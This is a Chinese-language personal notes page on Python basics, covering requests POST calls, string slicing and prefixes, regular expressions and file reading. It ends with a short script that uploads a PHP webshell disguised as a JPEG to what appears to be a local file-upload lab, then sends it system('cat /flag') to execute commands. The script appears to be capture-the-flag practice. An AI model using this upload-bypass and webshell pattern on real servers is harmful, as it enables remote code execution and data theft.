Logout

代办

https://blog.csdn.net/Chihwei_Hsu/article/details/81943008 ------WebKitFormBoundaryNTmRU9lQHyTVAE9w http://zihaolucky.github.io/using-python-to-build-zhihu-cralwer/

requests

  1. 提交python字典格式的数据
>>> payload = {'key1': 'value1', 'key2': 'value2'}
>>> r = requests.post("http://httpbin.org/post", data=payload)
  1. 提交Json格式数据
>>> import json
>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}
>>> r = requests.post(url, data=json.dumps(payload))

>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}
>>> r = requests.post(url, json=payload)
  1. 提交文件
>>> url = 'http://httpbin.org/post'
>>> files = {'file': open('report.xls', 'rb')}
>>> r = requests.post(url, files=files)

字符串操作

字符串长度

text='python' len(text)=6

截取

str[beginIndex:endPosition]
a = "Hello" 
print "a[1:4] 输出结果:", a[1:4]    #结果 ell
print "a[:4] 输出结果:", a[:4]    #结果 Hell
print "a[1:] 输出结果:", a[1:]    #结果 ello

字符串前缀

  1. 字符串前加 u 例:u"我是含有中文字符组成的字符串。" 作用: 后面字符串以 Unicode 格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。
  2. 字符串前加 r 例:r"\n\n\n\n" # 表示一个普通生字符串 \n\n\n\n,而不表示换行了。 作用:去掉反斜杠的转义机制。 \n 换行 \t tab
  3. 字符串前加 b 例: response = b'<h1>Hello World!</h1>' # b' ' 表示这是一个 bytes 对象 作用:b" "前缀表示:后面字符串是bytes 类型。 send 函数的参数和 recv 函数的返回值都是 bytes 类型 在 Python3 中,bytes 和 str 的互相转换方式是 str.encode('utf-8') bytes.decode('utf-8')

变量去转义

r''+变量

test='1234a567b'
condtion='a(.+?)b'
result=re.findall(r''+condtion,test)
print(result)

输出['567']

字符串和数字拼接

print(i+'asd')  #报错
print(str(i)+'asd')  

内置库re

元字符和其含义
    .       匹配除换行符以外的任意字符
    \       转义字符,使后一个字符改变原来的意思
    \w      匹配字母、数字、下划线:[A-Za-z0-9_]
    \W      匹配特殊字符:[^A-Za-z0-9_]
    \s      匹配任意的空白符:[<空格>\t\r\n\f\v]
    \S      匹配非空白符
    \d      匹配数字
    \D      匹配非数字
    \n      匹配一个换行符
    \t      匹配一个制表符
    \b      匹配一个单词的结尾
# 几个常用的非贪婪匹配Pattern
    *?      重复任意次,但尽可能少重复
    +?      重复1次或更多次,但尽可能少重复
    ??      重复0次或1次,但尽可能少重复
    {n,m}?  重复n到m次,但尽可能少重复
    {n,}?   重复n次以上,但尽可能少重复
    .*?x    就是取前面任意长度的字符,直到一个x出现

    a=re.search(r''+str1, ss)
    #匹配整个字符串,只到找到第一个匹配然后返回,如果字符串没有匹配,则返回None。  

    re.findall(pattern, string, flags=0)
    #匹配字符串所有的内容,把匹配到的字符串以列表的形式返回

    re.sub(pattern, repl, string, count=0, flags=0)
    # 用于替换字符串中的匹配项。 第四个参数指替换个数。默认为0,表示每个匹配项都替换。

re.match等返回的对象

使用了re.match()后返回的是一个<_sre.SRE_Match object; span=(0, 5), match=‘jilao’>的对象 | 方法名称 | 作用 | 说明 | | :-: | :-: | :-: | | group | 以str形式返回对象中match的元素 |即返回要查找的字符串| | start | 返回开始位置 | | | end | 返回结束位置 | | | span | 以tuple形式返回范围 | 返回(start,end) | 请注意!这些方法并不适用于findall,因为findall返回的是一个list

for a in re.finditer('1', '123123123'):
    print(a.span())
(0, 1)
(3, 4)
(6, 7)

读取文件字符串

f1 = open('tinyfilemanager.php','r', encoding='UTF-8') f.readlines()f.read().splitlines()都是返回一个list,f.readlines()后面有加\n,f.read().splitlines()没有\n

读取文件

read([size])

read([size])方法从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

f = open("a.txt")
lines = f.read()
print lines
print(type(lines))
f.close()

Welcome

readline()

该方法每次读出一行内容,所以,读取时占用内存小,比较适合大文件,该方法返回一个字符串对象

f = open("a.txt")
line = f.readline()
print(type(line))
while line:
 print line,
 line = f.readline()
f.close()

readlines()

f = open("a.txt")
lines = f.readlines()
print(type(lines))
for line in lines:
 print line,
f.close()

输出对象为list

linecache

还可以用linecache模块,比如你要输出某个文件的第n行:

# 输出第2行
text = linecache.getline(‘a.txt',2)
print(text)

代码

import requests
import re

url = "http://192.168.43.83/upload0/Pass-01/index.php"

data = {'submit':'1'}
files = {'upload_file':("xiaoma1.php",open('xiaoma1.jpg','rb'),'image/jpeg')}

response = requests.post(url,data=data,files=files)

a=response.text
for ss in re.finditer(r"<img src=", a):
    c=ss.start()
    print(a[c:c+50])

#c=a.rfind(r"<img src=")
#print(response.text[c:c+100])

url1= "http://192.168.43.83/upload0/upload/xiaoma1.php"
#payload={ "a": "system( \'cat ../../../../../flag');"}
payload={ "a": "system( \'cat /flag');"}
response1=requests.post(url1,payload,timeout=1)
print(response1.text)